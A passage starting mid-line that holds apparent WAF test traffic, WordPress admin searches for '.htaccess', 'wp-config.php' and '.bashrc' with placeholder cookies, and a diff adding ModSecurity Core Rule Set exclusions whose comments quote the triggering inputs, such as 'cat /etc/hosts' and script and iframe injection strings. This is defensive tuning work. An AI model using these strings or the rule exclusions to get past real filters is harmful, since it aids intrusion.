wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?search=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?search=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?search=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/post.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?search=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?search=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?search=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/post.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?search=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?search=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?search=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/post.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214704"], "body": ""}
{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2Fedit.php%3Fs%3Dpython3&reauth=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214704"], "body": ""}
{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2Fedit.php%3Fs%3Dpowershell&reauth=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
+160
View File
@@ -0,0 +1,160 @@
# The ninth change: on WordPress's paths, some fields skip the rules that refused
# ordinary WordPress requests there. Each exclusion runs with the request, before
# the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_BODY_LIMIT is set.
# WordPress takes a call to its REST API at any of four addresses:
# /wp-json/wp/v2/posts/1
# /index.php/wp-json/wp/v2/posts/1
# /index.php?rest_route=/wp/v2/posts/1
# /?rest_route=/wp/v2/posts/1
# These two rules put the route, here /wp/v2/posts/1, in tx.rest_route for the
# exclusions below. A call that names a route in both its path and its query
# gets none of them, since WordPress follows the query.
SecRule &ARGS_GET:rest_route "@eq 0" "id:900705,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?wp-json(/.*)$" \
"capture,setvar:tx.rest_route=%{tx.1}"
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php)?$" "id:900706,phase:1,pass,nolog,chain"
SecRule ARGS_GET:rest_route "@rx ^(/.*)$" "capture,setvar:tx.rest_route=%{tx.1}"
# The block editor saves a post with POST and the header X-HTTP-Method-Override:
# PUT, which the Core Rule Set refused (920450). So does saving a user's editor
# preferences.
SecRule TX:rest_route "@beginsWith /" \
"id:900700,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:X-HTTP-Method-Override"
# The block editor and the site editor send HTML in the JSON field content, which
# skips these rules when saving or autosaving a post, a page, a template or a
# template part:
# 930120: cat /etc/hosts
# 932230: a code block with a shell pipeline and an SQL query
# 932250: the same code block
# 934100: console.log('ok')
# 941100: <iframe src="..." onload="...">
# 941110: <script>
# 941120: onload=
# 941160: <img src=
# 941180: <!-- wp:paragraph -->, the comment that starts every block
# 941390: console.log(
# 942190: how to select a table from the catalog
# 942270: how to select a table from the catalog
SecRule TX:rest_route \
"@rx ^/wp/v2/(?:(?:posts|pages)(?:/[0-9]+(?:/autosaves)?)?|template(?:s|-parts)(?:/[^/]+//[^/]+(?:/autosaves)?)?)$" \
"id:900701,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.content "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.content,\
ctl:ruleRemoveTargetById=932230;ARGS:json.content,\
ctl:ruleRemoveTargetById=932250;ARGS:json.content,\
ctl:ruleRemoveTargetById=934100;ARGS:json.content,\
ctl:ruleRemoveTargetById=941100;ARGS:json.content,\
ctl:ruleRemoveTargetById=941110;ARGS:json.content,\
ctl:ruleRemoveTargetById=941120;ARGS:json.content,\
ctl:ruleRemoveTargetById=941160;ARGS:json.content,\
ctl:ruleRemoveTargetById=941180;ARGS:json.content,\
